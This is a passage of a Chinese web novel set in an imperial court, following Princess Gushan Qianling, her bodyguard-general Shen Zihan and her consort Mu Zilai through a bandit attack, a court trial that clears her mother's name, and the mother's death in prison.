她无措地朝四周望去,却发现昏天黑地,早已辨不清东南西北。
“沈自寒——沈自寒——”
她边探路,边呼唤起沈自寒的名字,奈何却仿佛扔粒石子进汪洋,无声无响。
“沈自,自寒——”
她停下来,咽了口水,又弯着腰,,一手撑在膝盖上,一手捶起背。
“沈自,自……”
豆大的汗珠往下掉,她抬手擦了擦,正欲直起身时,一个高大的背影映入眼帘。
“自寒!”
她跑过去,却在即将靠近眼前人的刹那,一阵不安涌上心头。
她放慢步子,迟疑着唤了声:“自,自!”
话音未落,男人直接转过来挟住她,冰冷的刺痛从脖子上绽开,一滴血珠划过素白的皮肤染红匕首。
背后,粗犷的声音响起:“小娃娃,夜黑风高的乱逛什么?跟哥哥回寨子里可好!”
是山匪!
孤山千灵心里凉了半截。
“你,你先放开我,我再告诉你……”孤山千灵强装镇定,假意配合。
”爹的,少跟我耍小聪明!”山匪将刀尖用力抵了抵,“之前那个娘们就这样,快说,愿不愿意跟哥哥回去?”
“我,我……”脖子上的血越流越多,孤山千灵咬着牙,几颗泪一下掉出,就在她深感绝望之时,熟悉的声音从黑暗中传来:
“跟你回去,凭什么?”
“谁!”山匪瞬间将匕首握得更累,他瞟向四方,大吼。
四周静默,片刻后,声音再度传来:
“小姐,您只能留在我身边……”
极尽亲柔的语气里扭曲着字音,孤山千灵抬头。
沈自寒一袭玄衣倾身而下,山匪猛地尖叫,剑光赤影间,孤山千灵摔在地上,她看见那只方才自己的手飞滚出几米远。
“夜深了,小姐。”
孤山千灵望向眼前的沈自寒,冷月下,他浑身散发着生灵勿近的杀气,嘴角独独漾开一抹迷离阴郁的笑,似断魂桥岸的曼珠沙华,荼蘼动人。
沈自寒凝视着孤山千灵,眼神中一片痴恋,让她莫名陌生与害怕。
“自,自寒……”孤山千灵深深吸了口气,谁料沈自寒忽然转身,狠狠踢向背后高举匕首的山匪。
“两个臭皮子!”山匪嘶吼着,不断被逼着后退,眼看就要掉下山崖,他猛地调转方向,冲向孤山千灵。
孤山千灵捂着脖子,正欲起身,见此,一下被吓得跌坐回去。
电光火石间,沈自寒回身疾来,正当他欲将起刀,早有准备的山匪手握匕首,转而扑向他。
“噗呲——”
“自寒!”
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孤山千灵瞪大瞳孔,心脏剧烈抽动起来。
血液喷溅而出,失忆前忽闪而过的那刹腥红,仿若也毫无顾忌地、措不及防地、七零八散地洒至她眼前。
孤山千灵大口呼吸着,一时不知哪来的力气,竟猛然冲上前夺过匕首。她双眼猩红,带着决绝,用力刺下——
一片红草红叶瞬间铺展开……
都结束了。
孤山千灵喘着粗气,拼命推开山匪,她见沈自寒仰头躺着,脸上和手臂上皆被划出血痕。
沈自寒望着孤山千灵,向她讨好地笑,可一咧嘴,未结疤的伤口便渗出血,顺着脸蜿蜒流下。
顿时,仿佛有刀片卡在喉咙里,孤山千灵低下头,泪水模糊了视线,她疯子似地抹着泪——
不想看滴下的泪如何融化在血里……
她仰头转了转湿润的眼珠,吸吸鼻子,一把搭过沈自寒的手臂,想扶他起来,她哽咽着重复:“我会找到出路的,我们会出去的,我们一定……”
“嘶,疼!”沈自寒下意识拧紧眉,又极快地舒展开,亦如正拙劣地掩饰着什么。
孤山千灵手中的动作定住,默然望着远方,片刻后,她眼眶一酸,再也忍不住,扑到沈自寒身上哭起来。
细若蚊呐的啜泣声从身下传来,断断续续,也似乎正拙劣地掩饰着什么。
沈自寒微微怔愣,扯了扯苍白的嘴唇,他艰难抬起手,试探着停在孤山千灵上方,却始终没落下。
风声呼啸而过,珠红连片绽放在夜色中……
一股沁人心脾的幽香从四面八方飘然而起,将两人包裹。
孤山千灵觉察到不对,缓缓抬头,发现身下,遍野剔透若玲珑的小草,草尖上皆沾了层血色,透红欲滴。
孤山千灵惊讶:“这,这是……”
“是‘心泪’。”
天光微亮,草尖流光溢彩的水珠中映出沈自寒那张虚弱俊秀的脸。
孤山千灵一愣,忽然吼道:“有什么用!”她眼尾泛红,心里发酸,“又救不了你!”
沈自寒一顿:“公主……”
“对,对不起,我!”
孤山千灵双手捏紧,眼里噙着泪:“你别死!”声音骤然变大又变小,“好不好……”
话音未落,她耳边猛然传来呼唤:
“他们在那儿!”
“公主——,沈将军——”
“那儿!那儿!找到他们啦——”
孤山千灵穿过层层树影茫然一瞥,眼里噙着泪,不明所以。
未犹她反应,沈自寒给出了她想要的答案:
“好,我不死。”沈自寒眯起眼睛浅笑,可下一秒他便闭眼昏过去了。
孤山千灵见此,心里立马慌了:“沈自寒,沈自寒,你才答应我的,别死呀,你才答应我的!”
见怎么摇也摇不醒,她索性捏住沈自寒的鼻子,强迫他张嘴——
深呼吸,一口气吻下去。
8. 抓胃不成抓心成
翌日晨昏,孤山千灵揉着惺忪睡眼推开寝殿门。
她伸了伸懒腰,明明脑子还没醒,步子却分外欢快。
只因,再过几个时辰便启程回宫。
她就能替母妃洗脱冤屈了……
现下天虽未亮,可她左看看右瞧瞧,怕是一只蝴蝶也觉得怡然呢!
孤山千灵打了个哈欠,困意来袭。
恰于此时,白烟从膳房飘出,她捂住口鼻,眼前骤亮。
“这么早?”她疑惑又期待,一下猫到膳房门前。
这不看还好,一看吓一跳:
黑峻峻的高大人影正站在灶台前倒腾着什么。
“不会是进贼了吧!”孤山千灵咽了咽喉咙,扒住门框的手一紧。
巧妇难为无米之炊啊,倘若这贼把米都偷走了怎么办?
她抄起地下的粗竹竿,决计把贼给捉了。
正欲伸脚进去时,一声动静吓得她瞬间缩回去,黑影急不可耐地摔了下擀面杖。
「都说‘想要抓住一个女子的心,就得先抓住她的胃’……」
黑影正面是沈自寒那张扑灰的脸。方才好不容易生火成功,现下,俊美的眉宇间又紧锁起来。
「可公主要嫌弃这破皮的包子怎么办?」
他看向为数不多的材料,懊恼。
「公主既然喜欢我的脸,就决不会喜欢这么丑的包子!可没办法再重新擀了,不如……」
沈自寒拿起旁边的刀。
「往手上割一刀!公主看在我受伤的份上,应该会赏脸尝尝包子吧?」
沈自寒刚举起刀,这一幕恰好落入躲在门外的孤山千灵眼里。
“拿刀了!”
来不及思考,孤山千灵疾步冲进去,扑倒黑影。
沈自寒侧耳翕动,下意识抓住空中的手臂,反手扼住来人,悚然厉声:“谁?”
突如其来的痛觉从胳膊处游窜而上,孤山千灵头朝地,视线被挡住,气愤道:“你祖宗,来抓你这个贼的!”
沈自寒听出孤山千灵的声音,动作一滞,偷偷瞥向孤山千灵的侧脸。
孤山千灵察觉到背后的目光,扭头继续挣扎:“放开我,你知道这是哪儿?知道我是谁吗?!”
沈自寒嘴角微勾,故意压低声音:“管你是谁,我可连当朝公主都不怕哦。”
孤山千灵抿紧下唇,忽然,灵光一闪:“我虽不是当朝公主,却是个小新妇,我夫君就要下朝回来了!你要不怕被抓去浸猪笼,就尽管这么抓着我。”
沈自寒一顿,动作微不可察地轻了。
“他可是皇上身边的大红人,少年将军,无情刹罗!”孤山千灵见黑影沉默了,顿觉此招有效,越发得意地挑衅:“杀人不眨眼的那种哦小兄弟。”
一双桃花眼晦暗难明,久久盯着身下人,喃喃:
“你说是就是了吗……”沙哑的声音由小变大,“有何证据?”
孤山千灵暗喜,理直气壮地耍起无赖:“可惜夫君他不在,要是在,我立马吻给你……”
话半,腰上的手骤然将她搂进怀中,未及睁眼,一个吻落下。
孤山千灵瞪大瞳孔,心登时被灼烫。
半弯桃花眼颤颤睁开,哀柔缱绻,痴恋中带着生怕怀中人离开的畏惧。
方才吻下的动作,分明那么不容置疑,那么不顾一切……
为何现在的眼神又那么小心翼翼?
孤山千灵蓦然抓紧对方衣袍,闭上眼,用力吻回去。
她在他唇角处惩罚似地咬了口,酥麻的痛觉绽放,血气伴着桃花香侵占唇齿间最后一丝距离。
孤山千灵察觉腰上的手愈发用力,一颗心几乎跳出胸膛。
“公主,沈将军!”门外响起噪动,正聊天的小圆和阿吾扭头,孤山千灵立马推开沈自寒。
小圆和阿吾看见屋内两人,愣了愣:“你们怎么起这般早啊?”
孤山千灵脸上早就红得不成样子,她不敢抬头看沈自寒:“我,我,我饿醒了!”
说着,她随手抓起桌上的碗。
“等等,公主,那碗水……”沈自寒见孤山千灵要喝生水,正想阻止。
“饱了,我回去睡啦!”孤山千灵将水灌入喉咙,她顾不上自己究竟在说什么,只尴尬地笑起来,朝门外快步而去。
阿吾看着她的背影,心中诧异又奇怪:“公主明明饿了,为何喝的是水?”
阿圆更是追上去了几步,她朝孤山千灵离开的方向瞧去,担忧道:“公主怕是没睡好,得多备一份早膳才行呢!”
孤山千灵被拉长的背影印在眼前,沈自寒浅笑,他摸了摸唇角,心底爬上几分难以言说的窃喜。
*
「嘶,还有多久到啊?」
临近正午,孤山千灵一手捂住肚子,一手掀起轿帘,脸色如吞了苦瓜般苦不堪言。
奈何入目之处,不是山就是水,她又悔又想哭
——为什么喝生水啊,还是空腹喝呜呜呜……
她真的要憋不住了。
轿外,骑马护送的沈自寒似乎察觉出她不对劲。
他来到轿窗旁,没等孤山千灵开口,便直接命令马夫们停于不远处的一家客栈。
孤山千灵闻此,不禁朝沈自寒投去感谢的目光,她一个劲点着头,认可,佩服!
沈自寒看着她,脸上一反常态地没给任何反应。
「倘若换了别人,你应当也是这样的眼神吧……」
他盯着她的眼,害怕与委屈织成一张网,几乎要将孤山千灵的眼底看穿。
「只是感谢么,我们可是吻过的。」
孤山千灵见沈自寒这副挂着脸的样子,敛起笑意。
她怀疑沈自寒亲完就不认人了……怎么热脸还贴冷屁股呢?
肚子又开始翻涌,她扭头放下轿帘。
算了,她不计较,还是先解决“三急”更重要些。
她紧紧捂住肚子。
沈自寒见被忽然放下的轿帘,紧攥马僵的手指越发泛白。
约摸十几步山路后,孤山千灵终于得到解放,马车也因此能停在客栈外休整。
要说这生水威力还真大啊……
孤山千灵走出茅厕门,腿软眼花,却惊奇地发现这客栈里竟坐了不少达官贵人。
难道此处是什么秘密场所?
孤山千灵没多想,只希望能穿过人潮,快回到轿上坐着。
宫栈外,停了不少马车队。
孤山千灵本来正苦恼着是哪队……碰巧就看到了阿吾,那个背影一定是阿吾!
孤山千灵欣喜难挡,踩着软趴趴的步子,来到队列头个车轿前。
正想上轿,却发现这轿厢莫名高了些。
没多想,孤山千灵蹬着轿架,谁料腿下一软,就这么冲开门帘扑了进去。
孤山千灵抬眼,凌乱的发髻下扬着张娇俏白嫩的脸,一双杏眸迷迷瞪瞪,放肆地溢出笑意。
“千灵公主?”
陌生的男声传来,孤山千灵愣了愣。
她揉起眼睛,发现面前居然是名陌生俊男子!
不小的轿窗大开,白光潋滟洒入,此人清隽恍若鹤仙,可惜生了双孤狸眼,虽不能百分百显了那气韵,倒也平添了几分烟柳风情,俊男子眉眸波光微荡,直勾勾地盯着她,什么也不说。
孤山千灵张着嘴,惊讶得说不出话。
“公主,您难道忘了下官吗?”
男子开口,话语软侬,缠绵耳侧,惹得她心痒痒。
“您方才可一把扑进在下官怀里了。”
孤山千灵反应过来,立马松开抓住男子的手,脸上一烫,失措地不知该说什么。
俊男子不满地轻呵了道,眼底涌起几分伤心,他俯至孤山千灵耳旁,轻语:“下官乃暮太尉家公子,新科状元,您的…”
“驸马,暮子来!”沁人心脾的幽兰香冲进鼻尖,他轻笑。
驸马?驸马!
孤山千灵震惊,整个人顿时如遭雷阵轰劈般怔在原地。
“此,此话当真?你是本公主的驸马?”孤山千灵循声试问,她失过
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忆,对这样一个忽然冒出来的驸马得谨慎点。
“公子,婚嫁之事不可儿戏,是不是,有人逼你?”
暮子来闻言,心下忽觉好笑。
“子来起誓……”
他抬手轻抚孤山千灵发丝:
“情动于己,自甘自愿。”
瞧着逐渐不对劲的气氛,孤山千灵连忙伸手挡在两人中间。
“暮公子自重!”孤山千灵难为情地笑着,觉得尴尬又扯淡:“要说你我之间真为夫妻,可我为何从未见过你?”
“说来是下官的错,下官与公主,是在公主昏迷时被赐了婚……”暮子来一本正经地解释着,眼神中还带了点愧疚。
孤山千灵瞪大双眼,不可置信自己果真被按头成了亲。
“婚后翌日,下官便匆匆被陛下派去沿海十三州,直至不久前陛下亲书,下官得知公主苏醒,连夜赶回来。”
暮子来神情担忧:
“公主,下官很想你。”
孤山千灵一怔,只想回避:
“纵,纵……然你是驸马,可现下,现下本公主舟车劳顿,早已心力交瘁,还是回宫早些歇息罢。”
她再次难为情地笑起来,起身掀起轿帘:“驸,驸马也记得早些歇息……”
一抬眼,沈自寒竟站在轿外,眼神止不住地颤,森森然杀气泛开。
孤山千灵浑身的血液瞬间凝固,她莫名慌乱与紧张起来。
暮子来的目光掠过孤山千灵看去,心下了然般冷笑起来:
原来他就是大名鼎鼎的沈自寒,可惜呀……
昨日黄花,陛下将监视公主的任务交给我了。
他隔着孤山千灵坐在轿内,悠悠开口:“今夜陛下设了家宴,公主何不与下官同乘?”
他挑衅地盯向沈自寒,表面上问公主,实则意指沈自寒:
他暮子来与公主才是一家人,亦如此刻,轿上轿下,他与公主同处一方,立于沈自寒对面。
沈自寒看穿暮子来,他微微勾唇,眼梢微红,被重伤一番似的,委屈又认真地看向孤山千灵:“公主,可要抛却在下与阿吾?”
提起阿吾,便是提起他们几人回宫面圣的目的。
孤山千灵有些意外沈自寒的反应,她本就不可能跟暮子来走,现下,沈自寒反倒给她找了个借口。
孤山千灵道:“暮公子,半路抛下好友一事总是不道德的,谢过你的好意了。”
她果决跳下轿子,来到沈自寒身边。
暮子来见此,虽心生不怠,却也不好继续纠缠:“既如此,那公主便去吧。”
他僵着笑了笑,命人起轿。
回轿的路上,孤山千灵故意扯了扯沈自寒的衣角,嘟囔着解释:“我是上错轿子才……”
沈自寒停下脚步,语气里带着可怕的阴挚,字音极尽平缓又扭曲:“他是你的驸马?”
孤山千灵顿觉陌生,她被吓得警觉起来:“你,你怎么知道?”
查的,在桃花宴那日过后命人查的,奈何没查出退婚一事,反倒查出驸马一位。
沈自寒眼底阴郁更浓:“皇帝赐婚公主,朝中人谁会不知道?”
他就不知道,难说是他入大京前赐的……
孤山千灵松了口气,好声好气地小心试探:“我如果说,我是在昏迷时,被人强行按头成了亲,你,信吗?”
沈自寒双眼危险地眯成一条缝:“你是被强行的,不是自愿的?”
孤山千灵恍若听见了什么不可听的,忙低声道:“当然!”
话落,沈自寒偷偷扬起嘴角,孤山千灵注意到,心里不觉发毛。
她掐了下沈自寒的腰,疑惑:“有何好笑?”
沈自寒看向求知若渴的孤山千灵,朝她脑门轻轻一弹,笑而不语,扬起步子离去。
待孤山千灵反正过来时,他又停下,转身抛来句:“别忘了您吻过我!”
声音明亮动情,不大不小,确保独孤山千灵一人可听见。
孤山千灵耳尖烧起来似,连忙跟上沈自寒。
9. 子来非鬼亦非仙
霞天金钩,轺影越红墙,辘辘乍惊。
有人呼喝道:“点火!”
烟火忽绽,漫夜流光下铺展开一片绚烂,交相辉映。
巨型雕金紫凤载鼓车从银花流焰中款款滚来,无数乐匠簇拥于十色花鼓下鸣音齐奏,衣衫若流云拂荡。
“烟火幻术,欣逢今宵蟾宫圆满,椒殿腾欢,特贺陛下圣德巍巍,光被四海,八州同乐——十三州际都尉暮子来暮大人敬上!”
花鼓响,满殿朱紫齐跪,锦袍上金线绣的鸾鸟振翅欲飞,暮子来在群臣中抬起一张容光玉面:
“皇上万岁万岁万万岁!”
话毕,点点明彩跃澈瞳,焰花散归“金泉”流注天边,喷张着幻化巨龙盘踞于苍穹之上。
“好,暮卿有心了,起来吧!”笑声传来,皇帝端坐高台,冠旒后无半点显山露水。
见暮子来起身,皇帝又摆了摆手:“众卿都起来吧!”
待众人起身后,打头儿一位膀大腰圆的大臣粗声,来者不善:“驸马爷如此费心,怎么不见公主啊?”
“劳吕大人多心,下官今日才赶回宫,尚未来得及觐见公主,自愧有所怠慢。”暮子来得体含笑,安然自若,脸上丝毫不见窘态,果一副翩翩君子。
对方的话下之意,他且不明白?
无非是近日朝中,关于公主的风雨骤起。他们想借机讥讽他这个驸马,从前守着个木头,而今摊上个事儿茬。
以便提醒他——饶是再用心又如何,终究是个靠下作手段爬上来的孬种。
暮子来想起安插在朝廷里的眼线,展扇捂笑。
笑得江荡花枝舒,惟他独身清冷,眉梢弯作一派奴骨慈悲颜,若鹤似狐,忠奸难辨。
吕览见状,心生不怠。
皇帝因着吕览的话,微微张望:“而今花鼓已鸣,怎么还不见灵儿前来啊?”
“陛下少安毋躁。”暮子来合扇,微微皱眉:“公主有沈将军护送,想来只是途中有事,耽搁了……”
他抬头望了眼皇帝,语气迟疑。
“公主出宫了?”吕览见缝插针,指责道:“驸马爷既知情,为何不报!”
此话一出,高台上下的目光皆汇聚于暮子来。
暮子来没理吕览,直接朝皇上道:“陛下,此事下官才得知。想来沈将军不加阻拦,又同行在侧,难说是有何要紧之事……”
暮子来觉察皇帝有急切起身之意,心下窃喜。
而孤山冕宁也果然如他所想,愤而令人速去捉拿。
只是令才下,殿外便高声通传:“千灵公主,沈将军到——”
人群顿时躁动起来,齐望而去。
沈自寒一身锦绣窄装,红珠碧玉串隐于墨发中翻飞,月光如银,少年披霜佩剑,姿意煞人。
他身后跟着个少女,华裳明艳,娇俏的脸蛋白净水灵,顾盼间花容生辉,胜比西子。
二人同来,行色中仿若蛟花照寒光,惹人叹然……
亦惹得某人不悦。
“难怪驸马爷爱自谦,当年诸位还真是有眼无珠啊!”众臣中有不识眼色的,打趣他:“暮兄有福,有福!”
……
“参见父皇。”孤山千灵行了一礼。
沈自寒单膝下跪,声如朗月:“在下来迟,是助公主以备重礼。”
孤山冕宁周身肃然,看向二人,脸色略有松动:“哦?是何重礼啊?”
“阿吾?”孤山千灵回头,一位裹着深色布大衣的女子从二人身后走出,跪下。
“呦,公主,这是玩的哪出啊?”吕览堆满横肉的脸上嘲笑着。
“吕大人问得好!”孤山千灵转向他,自信一笑:“此女名唤阿吾,乃禧宁王府上之人。母妃出事前,阿吾曾偷偷听见,您因被户部尚书周辅恩周大人发现私募流民一事,不惜与禧宁福晋合谋——
杀害周大人,嫁祸母妃!”
此话一出,满朝哗然。
吕览火冒三丈,颤巍巍指向孤山千灵:“你血口喷人!怎,怎能仅凭这么个女奴就,就……”
孤山千灵了然,扯下阿吾的衫布
——是一张形似禧宁小姐的脸,配上那道烫疤,显眼又丑陋,分明是在桃花宴里见过的。
高堂上,冠旒后山水有显……
吕览见此,拔高音量:“荒唐,此女奴已被赶出禧宁王府,威逼利诱,其心可异,其言可疑!”
“那这些账簿和信札呢?”沈自寒突然扔出几本账册掷于吕览脚前,“故臣户部尚书周大人曾上谒过此事,虽无疾而终,可陛下和众同僚皆是知道的。”
孤山千灵意外,眉心微皱,她从未见过,也从未听他提起……
沈自寒的声音再度响起:“吕大人三番五次为禧宁王府开脱,莫非,是怕背后的靠山倒了?”
“联合禧宁王府残害百姓,谋杀两朝重臣,诬陷后妃,欺君罔上,若说与禧宁王府之间无半分勾结……”
他冷笑,变了个人似:
“您又怎会得知,阿吾已被禧宁王府扫地出门呢?”
噙着讥讽的桃花眼幽光灼灼,宛若盯着一只自作聪明的狐:
“真是,矛盾了。”
“你!”吕览意识到自己被套了话,才奇怪他们带来的人证怎么不开口。
他生性鲁莽,没脑子,正撸起袖子作势冲上去。
“吕卿!”孤山冕宁厉声打断,“你这是想干什么?”
吕览瞪大双眼,脸上终于开始不安。
孤山冕宁:“够了!”
在场之人屏息敛声,听见:
“将禧宁福晋与禧宁小姐,禧宁少爷带上来!”
“禧宁小姐”四个字,让阿吾布满血丝的瞳孔瞬间有神。
“传——禧宁福晋、禧宁郡主上殿!"
尖利的唱喏声穿透朱红殿门,暮子来回首,望见暗色下的孤山千灵,神情绝决,孑然一身……
锦缎摩擦的簌簌声传来,鎏金步摇在鬓边轻颤,来人仅禧宁福晋。
她虽通身得体,却神情狼狈,恍如当日山洞的姬存。
侍卫紧张:“回陛下,禧宁小姐与禧宁少爷,不见了!”
阿吾与孤山千灵闻言,心中一动。
“让他们且寻着。”孤山冕宁摆摆手,淡漠道:“禧宁氏,你可知罪?”
禧宁氏神情麻木,默然。
不同于姬存临危之际的挣扎,她似乎本就是一滩死水。
拖着身子步步走来,早已费尽力气……
扯动嘴角,苍白地轻“呵”一声,就这么被吞没于重重叠叠的夜中,无涯无岸,无声无息。
呵,不过枉然……
孤山冕宁再次挥手,怀抱拂尘的公公尖声:“奉天承运,皇帝诏曰——”
“逆臣吕览
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勾结禧宁氏残害百姓,诬陷后妃,罪当凌迟,巳时三刻当市明正典刑,着九品以上官员观刑!"
“念禧宁王为国殉命,免死罪,禧宁一脉即日赴镇西塔守灯——”
“等等!为何是她?”孤山千灵猛然上前,眼尾泛红,颤声质问:“为何偏偏是母妃?”
侍卫抬头看了眼高台,三下五除二便要将人押离。
谁料,禧宁氏忽然惨笑出声,开口:“你母妃一个贱伎,不过是颗被利用完的废棋罢,与我一样……”
“什,么?”孤山千灵嘴唇微张,恍惚自己没听清。
禧宁氏含着恨,终是兴起丝微澜:
“呵,诏狱的火熔不了高堂的冰,她连升妃位本就是个幌子。你的存在才是威胁她的本钱,自你重醒之日便是她赴死之时!”
孤山千灵满眼悲愤,重重地咬下字音:“住嘴!”
此时,又一道通传响起——
“姬存在狱里用白布条自缢了!”
话落,孤山千灵眼前发黑,痛楚在脑中炸开,她听见脏腑碎裂的声音,抬手抽出沈自寒的剑,直指禧宁氏。
她恨,恨不得杀了眼前人!
可她没曾想,刃首所刺,竟是握住刀尖的沈自寒!
“什么意思?”血沿着掌心滚落,众人在惊叹声中尽散,孤山千灵这一句,无力似有力,深深扎向沈自寒。
她抬起充血的双眼,悲怆与仇恨交织,泪水决堤:
“滚——”
利刃刺入血肉的声音更重、更深,令人胆战心惊。
沈自寒握紧刃首,忍着莫大的痛苦,艰涩哀求她冷静下来:“不要,公主!不要……”
不要陷入孤山冕宁为你设下的陷阱!
冰冷的寒意煎熬着他,汗珠浸湿了额发,他朝孤山千灵看去,一双桃花眼透着剜心般苦楚,内心深处似乎有什么东西正在恸动。
恨他么,不会再爱他么?
他紧盯着孤山千灵,仿佛这样,就能趁闭眼前死死留住少女的模样。
纵然奈何桥下,生生世世……
不忘却。
恨他也可以,倘若要与她比,哪怕是她自己,他也可以不在乎的。
握着剑刃的手更用力了。
孤山千灵看着沈自寒,不禁一愣,像是终于清醒过来。
桃花眼下,无声的泪痕灼烫了她的心。
沈自寒,哭了?
这还是她第一次见沈自寒不笑,反哭。
可为什么……
为什么不放手!
孤山千灵绝望闭眼,拼命抽出手中的剑。
清泪划落,她瞥了他最后一眼,若怨似恨,便头也不回地转身奔离。
……
风从耳边呼啸而过,泪水溅在空中,她拼命跑着,大口大口吸气,妄图让风灌入心脏,抚平痛苦。
不知不觉,风停了,她在天牢停下脚步。
她撑着膝盖喘气,有那么一刻,愧疚泛上心头。
再抬头,入目昏暗,白布条顺着墨发直直垂下,露出两侧不齐的针脚。一颗头卡在布条结间,姬存四肢无力,整个人被轻而易举地吊起。
孤山千灵站在姬存面前。
错愕间,泪水再度模糊双眼,她嗫嚅着嘴唇。
待终于能吐出一个字时,她没曾想——
自己会迎面撞上暮子来。
10. 狐笑一曲殇花尽
孤山千灵心怀戒备:“你来这儿做什么?”
“自当是来处理后事的。”暮子来缓缓走向孤山千灵,目光哀伤,欲言又止:“作为公主的驸马,此乃下官份内之责。”
“母妃……”
孤山千灵放下戒备,神色恍若游离未归,步子微不可察地向后退。
只是,当目光落到暮子来的刹那,她转念一想,脚下骤停。
抬起双狐疑的眼:
“驸马与我,未曾有过夫妻之实吧?”
暮子来微顿,扯起个淡淡的笑:“公主,下官悉听尊便。”
他当然知道孤山千灵质问的,是他们那段婚姻关系。
她还在怀疑。
困此他故意不正面回答,假意曲解,变相承认,硬是向她直接坐实彼此身份。
孤山千灵果然一滞,微微蹙眉,径直越过暮子来。
众宫侍见孤山千灵走近,很识相地停下手中动作,悄悄退去。
孤山千灵看向断气的姬存,身体莫名发抖,步子欲前不前。
她耳边回荡起剧烈的心跳声,每一次呼吸都变得费力而艰苦。
她怎么也不相信母妃会自刎。
明明当日山洞,她是那么,那么的想活,想逃,想带她离开……
她小心伸出手,想覆上姬存那双可怜又可怕的眼。
“公主,节哀顺变……”暮子来的声音从背后响起,温热的气息落在她脖颈处,仿佛也融了周遭寒意。
一时间,身后有了支撑,恍惚心就要坠下。
她不觉靠在暮子来身上。
与此同时,沈自寒强忍着剧痛,匆匆赶来,他看见眼前一幕,心跳微滞。
而孤山千灵与暮子来也像是察觉到什么,齐回头。
“你来做什么?”暮子来的声音响起,分外不友善。
沈自寒死死盯着暮子来,咬牙切齿道:“与你何干?”
他目光一沉,墨眸仿若燃着妒火,几乎要将眼前人撕碎。
受伤的掌心悄悄攥紧成拳,鲜血不要命似流下。
孤山千灵怒了,一下挡在暮子来身前。
沈自寒眼中郁色浓烈,眼尾逐渐泛红,语气变得小心:“公主……”
孤山千灵冷笑:“怎么,只许你为我母妃的杀人凶手挡剑,不许我为我的驸马挡剑?”
声音空又细,字字句句可怕得让人难以回答。
沈自寒的心被莫名揪了一把,如鲠在喉:“公主……”
他凄然地闭上眼,似忍受着被千刀万剐般的痛楚,又睁开:
“可还愿相信在下?”
桃花眼战栗在凛冽的空气中,他仿佛正极力压制着什么,哑声问。
孤山千灵一怔,脸色微动,她显然没想到沈自寒会问出这句话。
“我……”
“信你?”暮子来忽然拿出一封血书扔至三人之间,吼道:“你勾结奸人监视公主动向,如何信得!”
血书上歪七扭八地写着八个大字:
沈,将为眼,泄踪,于,暗!
此话如惊雷劈下,劈得孤山千灵被死死定住,整个人如坠冰窟。
上面的八个字歪扭出血痕,那么深,那么重,仿佛有千百种冤屈,千百种久久积压的冤屈,要透穿纸刻进地里……
刺得孤山千灵不由向后退了半步。
她摇着头,不断喃喃:“不会的,不会的……”
泪眼逐渐潸然,她的心似被来回辗过。
“这封血书是下官带人进来时,从娘娘手中抽出的……”暮子来低下头。
空气骤凝,飘飘然的耳边话,成了刽子手。孤山千灵任由它一遍又一遍,于自己的心上凌迟而过。
沈自寒喉咙发紧,神情悲怆:“公主……”
血书上昭昭然写着他的罪,他辩不得也不能辩。
昏暗的角隅上天光顷洒,不过须臾,便将他与所爱分隔开。
孤山千灵红着眼,哑声看向沈自寒:“你,当初救我、帮我,都是假的吗?”
沈自寒看向她的眼神,不禁吸了口凉气。
答案就在嘴边,但他,不能说。
他绝决又痛苦地闭上眼,泪光沾于羽睫处闪动,握紧拳,却是连疼也欲弃他而去了。
麻木了吗?
可为何心却还在痛呢……
一弯珠红自嘴角蜿蜒而下,血腥气混着碎牙在口中漫开。
孤山千灵踉跄着扑而去,抓紧沈自寒的衣袍,泪水连串打落,质问的话变成哀乞:“你说啊,你说啊!”
“你说啊!你说,啊!”
为什么不说呢?
明明,明明只要你说,只要你说……
字音逐渐被哭声淹没,孤山千灵拽着衣袍的手脱力,缓缓滑落至地上。
暮子来悄悄抬手,示意躲在天牢外的人进来将两人分开。
孤山千灵被暮子来扶着身子出去,她脑中昏沉,浑身冰冷,勉强撑起几分清醒,只是站着,浑身的力气好似皆被抽离了。
月夜风涌,恍若寥寥几步,便又嗅一树桃花。
孤山千灵动起身子,刹时望去,但见栖瑶殿前,不知何时,竟种了满片的桃树。
艳色无边……
她笑了。
笑得开怀,笑得心酸,笑得悲怆。
世人皆说,睹物思情,睹物思……
呵,可她如今却已无泪可流。
暮子来见此,开口:“这桃树上的桃花,公主原喜欢么?”
喜欢么?
风乍来,漫天桃色零落,她空空望着,心中恍若有什么东西断了,笑意更甚。
……
直至榻头的宫灯被点起,孤山千灵也没再说过一句话。
她呆呆望着天花板,目光呆滞。
宫灯一闪一闪,照得人也一暗一亮,可孤山千灵没有丝毫感觉,就连痛苦,也同样消失得无影无踪,仿佛方才发生在天牢里的,不过场梦,稍纵即逝。
暮子来俯身帮她掖着被子,犹豫开口:“公主……”
话音未落,幽寂的黑暗中忽然飘起一声冷笑,惘然哀凄,令人心颤,似自嘲又似求问。
孤山千灵眼尾噙着颗泪:“这一切,原来都是假的,假的……”
暮子来不忍:“公主的心是真的。”
“我的,心?”孤山千灵哑声,认命般释然地再度笑起来,一颗晶莹划落眼尾:“错付了。”
沈自寒一顿,眉头微皱:“人皆有真心,只是他的真心不在公主身上,可下官!”
此话半,孤山千灵眼前一亮,察觉到不妥,她忽然想起什么,猛然撑起身扒住暮子来。
杏眸盈着泪光盯向暮子来,她质问:“你,是不是知道些什么?”
暮子来与她对视,幽幽目光中,他反抓住她的手腕,缓缓蹲下身,神色认真:“公主,可知正一品武官拜封振国大将军的曹谦曹大人?”
孤山千灵一脸疑惑。
暮子来道:“曹谦
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原为前朝北疆都域的一方节度使。太初年间,先帝孱弱,宦官权力扩大,朝廷内有天灾,外有敌国动乱,尤以漠北为重,而太子孤山候主动请绥,未料其起兵谋反,幸曹谦策反漠北,化敌为友,终兵胜于燕华城。时年,沈将犹效漠北,未曾听过大京。”
孤山千灵眉头微蹙,眼底闪过丝诧异:“你的意思是,沈自寒入大京,背后的靠山正是这位曹大人?”
二人对视,目光如炬。
……
暮子来收回目光,合上殿门中间的细缝,他转身,殿外细雨斜飘。
提灯宫女撑着伞,走到他面前。他接过宫女手中的灯,“今夜,我还得前去御书房一趟。”
宫女撑着伞,小心跟在他身后。雨丝泛起水汽,初春的夜棠悄悄结霜,冰晶瓣一簇簇缀在深色丛中,直待水珠打落,参差摇曳。
“乍暖还寒,雨里夹着冷意就这么来了,真是难为暮卿。”
皇帝负手立于案桌前,烛台上的火苗颤颤巍巍,他看向暮子来。
暮子来知道皇帝畏寒,想尽早入榻,于是恭敬谢恩后便迅速禀报了天牢一幕。
孤山千灵与沈自寒决裂后,量来也终于能安分下来了,可暮子来不然,她觉得孤山千灵非朽本而为好刃,一把能助他佐皇帝、步青云的好刃。
